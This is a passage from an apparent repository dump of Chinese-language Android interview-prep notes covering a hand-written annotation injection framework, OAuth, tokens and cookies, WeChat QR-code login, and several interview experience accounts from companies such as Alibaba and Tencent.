    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频：\n\n- [配套视频](https://v.qq.com/x/page/l0397qgxmkc.html)\n\n## 注解框架实现原理，手写ButterKnife实现自己的注解框架\n\n初级程序员使用别人的框架，中级程序员不仅会使用别人的框架还知道内部的实现原理，高级程序员则按需编写自己的框架。添加该模块的目的就是想提交大家的逼格，让大家养成一个动手编写“自主知识产权”框架的意识。\n\n### 1. 编写 ButterKnife框架\n\n业界比较出名的基于完全注解方式就可以进行 UI 绑定和事件绑定，无需 findViewById 和 setClickListener 等的IOC（Inverse Of Control 控制反转，就是将 UI 的初始化和事件绑定的“权利”交给框架来完成）框架有：\n\nButterKnife使用如下：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-2a363e9758530940.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-101de171c6978d65.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n会出现如下代码：\n\n```java\n   @BindView(R.id.button01)\n    Button mButton01;\n    @BindView(R.id.button02)\n    Button mButton02;\n    @BindView(R.id.button03)\n    Button mButton03;\n\n        @butterknife.OnClick({R.id.button01, R.id.button02, R.id.button03})\n    public void onClick(View view) {\n        switch (view.getId()) {\n          case R.id.button01:\n          Toast.makeText(this, \"butterknife-button01\", Toast.LENGTH_SHORT).show();\n                break;\n          case R.id.button02:\n           Toast.makeText(this, \"butterknife-button02\", Toast.LENGTH_SHORT).show();\n                break;\n          case R.id.button03:\n          Toast.makeText(this, \"butterknife-button03\", Toast.LENGTH_SHORT).show();\n                break;\n        }\n    }\n```\n\n点击每个按钮会弹出响应的Toast，如下：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-4fe5cffabd706277.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n这个就是ButterKnife的用法。\n\n### 接下来，我们开始编写自己的框架实现 findViewById 和 setOnClickListener 功能。\n\n1. 编写自定义注解类 ViewInject 和 Click;\n\nViewInject 注解类用于添加在 Filed 上。Click 注解类用于添加到 Method 上。\n\n【文件】ViewInject.java\n\n```java\n/**\n* @Retention 用于声明该注解生效的生命周期，有三个枚举值可以选择<br>\n  * 1. RetentionPolicy.SOURCE 注释只保留在源码上面，编译成class的时候自动被编译器抹除\n * 2. RetentionPolicy.CLASS 注释只保留到字节码上面，VM加载字节码时自动抹除\n * 3. RetentionPolicy.RUNTIME 注释永久保留，可以被VM加载时加载到内存中\n * 注意：由于我们的目的是想在VM运行时对Filed上的该注解进行反射操作，因此Retention值必须设置为RUNTIME\n *\n * @Target 用于指定该注解可以声明在哪些成员上面，常见的值有FIELD和Method，\n      由于我们的当前注解类是想声明在Filed上面\n * 因此这里设置为ElementType.FIELD。\n * 注意：如果@Target值不设置，则默认可以添加到任何元素上，不推荐这么写。\n *\n * @interface 是声明注解类的组合关键字。\n */\n\n@Target({java.lang.annotation.ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface ViewInject {\n    public abstract int value();\n}\n```\n\n【文件】Click.java\n\n```java\n@Target({java.lang.annotation.ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface OnClick\n{\n    public abstract int[] value();\n}\n```\n\n编写核心方法 ViewUtilsTest.inject(Ativity);\n\n```java\npublic class ViewUtilsTest {\n    public static void inject(final Activity activity)\n    {\n        /**\n         * 通过字节码获取activity类中所有的字段，在获取Field的时候一定要使用\n         * getDeclaredFields(),\n         * 因为只有该方法才能获取到任何权限修饰的Filed，包括私有的。\n         */\n\n        Class clazz = activity.getClass();\n        Field[] declaredFields = clazz.getDeclaredFields();\n        //一个Activity中可能有多个Field，因此遍历。\n        for (int i = 0; i < declaredFields.length; i++) {\n            Field field = declaredFields[i];\n            //设置为可访问，暴力反射，就算是私有的也能访问到\n            field.setAccessible(true);\n         //获取到字段上面的注解对象\n         ViewInject annotation = (ViewInject)field.getAnnotation(ViewInject.class);\n            //一定对annotation是否等于null进行判断，因为并不是所有Filed上都有我们想要的注解\n            if (annotation == null)\n            {\n                continue;\n            }\n            //获取注解中的值\n            int id = annotation.value();\n            //获取控件\n            View view = activity.findViewById(id);\n\n            try\n            {\n                //将该控件设置给field对象\n                field.set(activity, view);\n            } catch (IllegalArgumentException e) {\n                e.printStackTrace();\n            } catch (IllegalAccessException e) {\n                e.printStackTrace();\n            }\n\n        }\n        //获取所有的方法（私有方法也可以获取到）\n        Method[] declaredMethods = clazz.getDeclaredMethods();\n        for (int i = 0; i < declaredMethods.length; i++) {\n            final Method method = declaredMethods[i];\n            //获取方法上面的注解\n            OnClick annotation = (OnClick)method.getAnnotation(OnClick.class);\n            if (annotation == null) {\n                //如果该方法上没有注解，循环下一个\n                continue;\n            }\n            //获取注解中的数据，因为可以给多个button绑定点击事件，因此定义注解类时使用的是int[]作为数据类型。\n            int[] value = annotation.value();\n            for (int j = 0; j < value.length; j++) {\n                int id = value[j];\n\n                final View button = activity.findViewById(id);\n\n                button.setOnClickListener(new View.OnClickListener()\n                {\n                    public void onClick(View v)\n                    {\n                        try\n                        {\n                            //反射调用用户指定的方法\n                           method.invoke(activity,button);\n                        } catch (Exception e) {\n                            e.printStackTrace();\n                        }\n                    }\n                });\n            }\n        }\n    }\n}\n```\n\n咱们自己的注解框架就实现好了，效果如下：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-ae99d1e8059313de.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/登陆注册/Oauth的实现原理.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [配套视频](https://v.qq.com/x/page/p03953hoam3.html)\n\n## 腾讯QQ第三方登录的实现原理？\n\n> Oauth当中的角色：\n\n1. Service Provider（服务提供方）\n\n服务提供方通常是网站，在这些网站当中存储着一些受限制的资源，如照片、视频、联系人列表等。这些网站通常使用用户名和密码来确认用户的身份。比如新浪微博的开放平台就是Service Provider。\n\n2. User（用户）\n\n存放在服务提供方的受保护的资源的所有者。用户持有可以登录服务提供者网站的用户名和密码。用户不希望把自己的资源公开，但是用户却需要将这些资源共享给其他网站或应用程序（如用户希望使用第三方开发的新浪微博客户端来访问自己的资源，但又不希望第三方应用知道自己的用户名和密码）。\n\n3. 客户端（Client）\n\n要访问服务提供方资源的第三方应用，可以是web应用程序、桌面应用程序或者是手机应用程序。客户端需要得到授权之后才能访问相应的资源。\n\n> Oauth的认证和授权过程：\n\n1. 用户使用第三方的客户端（如访问第三方的网站，或使用第三方的应用），想对存放在服务提供者的某些资源进行操作\n2. 第三方网站或应用向服务提供方请求一个临时令牌（Request Token）\n3. 服务提供方验证第三方的身份后，授予其一个临时令牌\n4. 第三方获得临时令牌后，将用户引导至服务提供方的授权页面请求用户授权。在这个过程中将临时令牌和客户端的回调连接发送给服务提供者\n5. 用户在服务提供者的授权页面上输入自己的用户名和密码，然后授权该客户端访问相应的资源\n6. 授权成功后，服务提供方引导用户返回第三方网站的的网页\n7. 客户端根据临时令牌从服务提供方那里获取访问令牌（Access Token）\n8. 服务提供方根据临时令牌和用户的授权情况授予客户端访问令牌\n9. 客户端使用获取的访问令牌访问存放在服务提供方上的相应的资源\n\nOauth简单示意图\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-b1e90838ef009145.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\nOauth全面的示意图\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-7931074dfb4fa188.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/登陆注册/README.md",
    "content": "## 与登录相关面试题\n\n- [Oauth的实现原理](Oauth的实现原理.md)\n- [Token的实际意义](token的实际意义.md)\n- [微信扫码登录内部实现原理](微信扫码登录内部实现原理.md)"
  },
  {
    "path": "docs/android/Android-Interview/登陆注册/Token的实际意义.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n今天文章比较简单，主要是为了录制面试题系列，保证文章的完整性来帮助那些想找工作的哥们，各位高级程序员请勿拍砖,不过把下面三段视频都看完，多多少少会有些收获。。。\n\n### 本文配套视频：\n\n- [为什么需要token配套视频](https://v.qq.com/x/page/c0395s3jd4f.html)\n- [一分钟登录配套视频](https://v.qq.com/x/page/p0395khlfdz.html)\n- [一分钟解析登录配套视频](https://v.qq.com/x/page/r03959jvnjm.html)\n\n## 在android开发中，用户登录时，客户端会接收到token值，请描述一下对token的理解？\n\n### Token的引入：\n\nToken是在客户端频繁向服务端请求数据，服务端频繁的去数据库查询用户名和密码并进行对比，判断用户名和密码正确与否，并作出相应提示，在这样的背景下，Token便应运而生。\n\n### Token的定义：\n\nToken是服务端生成的一串字符串，以作客户端进行请求的一个令牌，当第一次登录后，服务器生成一个Token便将此Token返回给客户端，以后客户端只需带上这个Token前来请求数据即可，无需再次带上用户名和密码。\n\n使用Token的目的：\nToken的目的是为了验证用户登录情况以及减轻服务器的压力，减少频繁的查询数据库，使服务器更加健壮。\n\n### Token的应用：\n\n1. 当用户首次登录成功之后, 服务器端就会生成一个 token 值，这个值，会在服务器保存token值(保存在数据库中)，再将这个token值返回给客户端\n2. 客户端拿到 token 值之后,使用sp进行保存\n3. 以后客户端再次发送网络请求(一般不是登录请求)的时候,就会将这个 token 值附带到参数中发送给服务器\n4. 服务器接收到客户端的请求之后,会取出token值与保存在本地(数据库)中的token值做对比\n5. 如果两个 token 值相同， 说明用户登录成功过!当前用户处于登录状态\n6. 如果没有这个 token 值, 没有登录成功\n7. 如果 token 值不同: 说明原来的登录信息已经失效,让用户重新登录\n\n### 使用一分钟利用开源中国接口获取登录token\n\n### 利用一分钟时间解析服务器返回的token数据\n\n懒得写文字了，直接看视频吧，看完会有不小的收获哦\n\n## 登录和注销 (Cookie, Session)\n\n\n* 登陆过程\n 1. 先把用户名和密码传给服务器(请求头中没有Cookie)\n 2. 服务器验证用户名和密码\n 3. 验证通过->响应头中返回(Cookies)一个或多个key=value;key1=value1\n 4. 客户端保存这些Cookies到本地文件.\n\n* 请求数据过程\n 1. 如果没有Cookie, 只能获取到公共信息.\n 2. 把Cookie放到请求头中, 可以获取到Cookie对应的账号的隐私数据.\n 3. 如果Cookie超时了(一小时, 一周, 一个月), 服务器同样不返回隐私数据.\n\n* 注销过程\n 1. 删除本地的Cookie\n 2. 以后的请求头中都没有Cookie\n 3. 服务器不会再知道客户端是谁, 会话结束.\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/登陆注册/微信扫码登录内部实现原理.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [配套视频](https://v.qq.com/x/page/u03952rbbkc.html)\n\n## 26微信扫码登录内部实现原理？\n\n### 打开网页版微信，可以看到如下的页面：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-c80fa67b87efba8b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n如果你用我查查、支付宝、新浪微博等软件扫码二维码，你会发现此二维码解析出来是如下的网址：\n\n```\nhttps://login.weixin.qq.com/l/obsbQ-Dzag==\n```\n\n接下来详细介绍一下扫码登录具体的每个步骤：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-05483767b3c483c7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n① ：用户 A 访问微信网页版，微信服务器为这个会话生成一个全局唯一的 UUID二维码，上面的 URL 中 obsbQ-Dzag== 就是这个 UUID，且每次刷新后都会改变。这样可以保证一个UUID只可以绑定一个账号和密码，确定登录用户的唯一性。我刷新三次，扫描结果如下，其中最后面那串数字就是UUID：此时系统并不知道访问者是谁。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-91bc93e6ba3c5418.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-ad2ce3ee1eee2a4b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n② ：除了返回唯一的uid，实际上打开这个页面的时候，浏览器跟服务器还创建了一个长连接，请求uid的扫描记录。如果没有，在特定时长后会接到状态码408（请求超时），表示应该继续下一次请求；如果接到状态码201（服务器创建新资源成功），表示客户端扫描了该二维码。\n\n请求超时：返回408\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-ec68032ffe40ad0f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n扫码成功：返回201\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-ce5fbb042498a8ef.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n③：手机上的微信是登录状态，用户点击确认登录后，手机上的微信客户端将微信账号和这个扫描得到的 ID 一起提交到服务器\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-71c47fa7f96bbcfc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n④ ：服务器将这个 ID 和用户 A 的微信号绑定在一起，并通知网页版微信，这个 ID 对应的微信号为用户 A，网页版微信加载用户 A 的微信信息，至此，扫码登录全部流程完成\n\n总的来说，微信扫码登录核心过程应该是这样的：浏览器获得一个唯一的、临时的UUID，通过长连接等待客户端扫描带有此UUID的二维码后，从长连接中获得客户端上报给服务器的帐号信息进行展示。并在客户端点击确认后，获得服务器授信的令牌，进行随后的信息交互过程。 在超时、网络断开、其他设备上登录后，此前获得的令牌或丢失、或失效，对授权过程形成有效的安全防护，类似的应用还有扫码支付、扫码加公众号等功能.\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n- 微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/2016年4月某公司面试题及面试流程.md",
    "content": "## 2016年4月某公司面试题及面试流程\n\n### **1. 静态内部类、内部类、匿名内部类，为什么内部类会持有外部类的引用？持有的引用是this？还是其它？**\n\n- 静态内部类：使用static修饰的内部类\n- 内部类：就是在某个类的内部又定义了一个类，内部类所嵌入的类称为外部类\n- 匿名内部类：使用new生成的内部类\n- 因为内部类的产生依赖于外部类，持有的引用是类名.this\n\n\n### **2. ArrayList和Vector的主要区别是什么？**\nArrayList在Java1.2引入，用于替换Vector\nVector：线程同步，当Vector中的元素超过它的初始大小时，Vector会将它的容量翻倍\nArrayList：线程不同步，但性能很好，当ArrayList中的元素超过它的初始大小时，ArrayList只增加50%的大小\n[java集合类框架](http://yuweiguocn.github.io/java-collection/)\n\nhttp://blog.csdn.net/axi295309066/article/details/54089986\n\n### **3. Java中try catch finally的执行顺序**\n先执行try中代码发生异常执行catch中代码，最后一定会执行finally中代码\n\n### **4. switch是否能作用在byte上，是否能作用在long上，是否能作用在String上？**\nswitch支持使用byte类型，不支持long类型，String支持在java1.7引入\n\n### **5. Activity和Fragment生命周期有哪些？**\n- Activity\n\nonCreate→onStart→onResume→onPause→onStop→onDestroy\n\n- Fragment\n\nonAttach→onCreate→onCreateView→onActivityCreated→onStart→onResume→onPause→onStop→onDestroyView→onDestroy→onDetach\n\n### **6. onInterceptTouchEvent()和onTouchEvent()的区别？**\nonInterceptTouchEvent()用于拦截触摸事件\nonTouchEvent()用于处理触摸事件\n\n### **7. RemoteView在哪些功能中使用**\nAPPwidget和Notification中\n\n### **8. SurfaceView和View的区别是什么？**\nSurfaceView中采用了双缓存技术，在单独的线程中更新界面\nView在UI线程中更新界面\n\n### **9. 讲一下android中进程的优先级？**\n\n- 前台进程\n- 可见进程\n- 服务进程\n- 后台进程\n- 空进程\n\n### 10. 代码查错题，没记下来\ntips：静态变量持有Activity引用会导致内存泄露\n\n### 11. 一面\nservice生命周期，可以执行耗时操作吗？\nJNI开发流程\nJava线程池，线程同步\n自己设计一个图片加载框架\n自定义View相关方法\nhttp ResponseCode\n插件化，动态加载\n性能优化，MAT\nAsyncTask原理\n65k限制\nSerializable和Parcelable\n文件和数据库哪个效率高\n断点续传\nWebView和JS\nAndroid基础——Service\nAndroid基础——IntentService\nAndroid开发指导——Service\nAndroid开发指导——绑定Service\nAndroid开发指导——进程间通信AIDL\nAndroid面试基础知识总结（一）\nAndroid面试——APP性能优化\n[Android中Java和JavaScript交互](http://droidyue.com/blog/2014/09/20/interaction-between-java-and-javascript-in-android/)\n[WebView 远程代码执行漏洞浅析](http://jaq.alibaba.com/blog.htm?spm=0.0.0.0.oMsDAl&id=48)\n[WebView中的Java与JavaScript提供【安全可靠】的多样互通方案](https://github.com/pedant/safe-java-js-webview-bridge)\n\n### 12. 二面\n所使用的开源框架的实现原理，源码\n没看过，被pass了\n去面试之前把用到的开源框架源码分析一定要看看啊\n[codekk：开源框架源码解析](http://codekk.com/open-source-project-analysis)\n[2016Android某公司面试题](http://yuweiguocn.github.io/interview-2016-big-company/)"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/2017届实习生招聘面经.md",
    "content": "[2017届实习生招聘面经（今日头条，腾讯，阿里，360）](http://www.jianshu.com/p/12654b063553)\n\n# 1. 阿里内推\n\n在三月的某一天，当我还沉浸在代码世界的时候，突然一声铃声响，拿起手机一看，杭州电话==大三春招第一次面试开始了。\n\n## 阿里一面\n\n问的问题不多，也就26分钟的样子\n\n你用过哪些集合类？==太多了，随便说了些\n那你说说ArrayList，LinkedList的区别（还是挺简单的，一般用过的都说会）。\n说说hashMap是怎样实现的（这个之前看过，顺利回答上。还回答了多线程的问题出现的原因，面试官表示很惊讶的样子）\n说说可重入锁\n\n说说view绘制过程和事件分发机制，我大概回答了下。然后面试官又问：onTouch和onTouchEvent是什么区别？如果我重写了ontouch和onClick，它们的调用顺序是怎样的？什么时候会不调用onClick？\n\nhandler的是怎样实现的？\n\n由于项目里面用到了picasso，所以最后问了下picasso实现原理。\n一面结束，最后面试官居然问我是不是第一次面试== 估计是帮紧张了。不过一面过程中面试官心情还不错，都是笑着问的。\n\n当天晚上接到二面，面试官太累了，约我第二天面试。\n\n## 阿里二面\n\n二面气氛一直不对，感觉面试官非常严肃，一来就感觉很有压力\n\n## 自我介绍\n操作系统里面线程和进程的区别（挺基础的） ，接着麻烦就来了；我说完大致区别后，他就问，你说进程里面线程是共享内存的，那么一个进程最大能占多少内存？（懵逼，这是什么意思？考的分页知识？）。然后这里我想了一下，说应该和硬件有关，他继续问，有什么关系？（应该和地址总线有关，当时没想起，他叫我再想想，要是你设计的系统，应该和什么有关，还是没答上）。\n\n你项目中图片是怎么处理的？回答：picasso，顺便说了下picasso原理。然后又问：那么picasso里面有多少个线程来加载图片？要是网络不同，线程数目分别是多少？\n\n布局优化（这里开始说错了一点，然后面试官很生气的样子，自我感觉就要挂了）\n项目中有哪些优化？\n\n最后果然挂了（惨痛的经历，不过为后面打下了很好的基础，至少不 怎么紧张了）\n\n然后后面就没有面试了\n\n直到4月腾讯面试\n\n# 2. 腾讯面经\n\n腾讯是走的正常渠道，到成都现场面试\n\n## 一面\n\n面试场地是在一个宾馆里面，一对一面试，face to face还是有点紧张的\n\n## 自我介绍\njava多态你了解多少？\n\n你说说重写和重载区别，然后拿了纸笔，手写一个能体现多态的例子\n\n说说java在运行main函数之前做了哪些工作？\n\n这个我居然从启动虚拟机→加载类→初始化类一直说到执行Main\n\n你对大尾小尾了解多少？ \n\n我反问：您说的是大小端么？ 他说对，然后我正准备给他解释的时候，他又拿了一张纸：用java写一个判断大小尾的程序\n\njava静态方法能不能被重写？ 答：不能。 问：为什么？\n为什么java静态方法不能调用普通方法？普通方法能调用静态方法？（其实还是实例引用问题）\njava内存模型和GC机制\n\n其实腾讯面试官感觉都很nice，他称呼我 都用您。感觉怪怪的，而且礼仪非常好。最后面完后，我问我面试得怎样？他说你了解的知识还是挺宽的，然后问了我一句要不要去做游戏？当然要啊！\n\n然后就走了。然后就没有然后了，晚上查状态是不适合。\n\n## 霸面一面\n\n腾讯面试后，感觉不怎么死心，又跑去长沙霸面了，我一去，HR说移动端基本已经招满了，你可以把简历放在这儿，要是有面试机会的话，我会通知你。然后我心情失落地回去了。\n\n当我刚到住处，刚出电梯，HR就来电话了，叫我去面试\n\n我那个开心啊，把平时20分钟的路程当成10分钟不对跑过去，直接一面。\n\n一面面试官也很nice，还惊讶我从重庆来\n\nHashmap原理\nhashcode和equals还有==的关系\n用hashmap实现hashset。。我之前看过的，忘记了。然后按照我的想法回答了。（最后面试官告诉了我该怎样实现==）\n内部类访问外部类的变量有什么问题？\n\nandroid里面onStop和onPause本质区别。什么时候可以存数据？\n两个单链表寻找有没有交点，然后再寻找交点位置\nandroid oom怎么解决\n还问了一些项目的问题\n其实中间还问了几个算法，忘记是什么了，后面想到了的话会加上的。\n\n## 二面\n\n二面面试官感觉很牛的样子，一直技术轰炸\n\n告诉我你所直到的所有关于java虚拟机的东西，我说了好久好久。还说了新生代大概什么时候会加入老年代\nbinder机制\nhandler原理， Message，loop，messageQueue关系，handler内存泄露问题。\nTCP三次握手，用纸画出来\n为什么TCP是可靠的，UDP早不可靠的？为什么UDP比TCP快？\n面试官看到了我的项目，然后问了我一个用到的框架的原理，还问了我里面的很多细节，估计是以为我直接看的别人的博客了解到的这些知识，还好我是自己看了源码\n算法：几百万个QQ号 ，找出前100个消费最高的QQ号。直接小顶堆什么的\nandroid四大组件 ，这里扩展了很多，毕竟非常熟悉，还说了很多坑，很多实现原理（比如activity 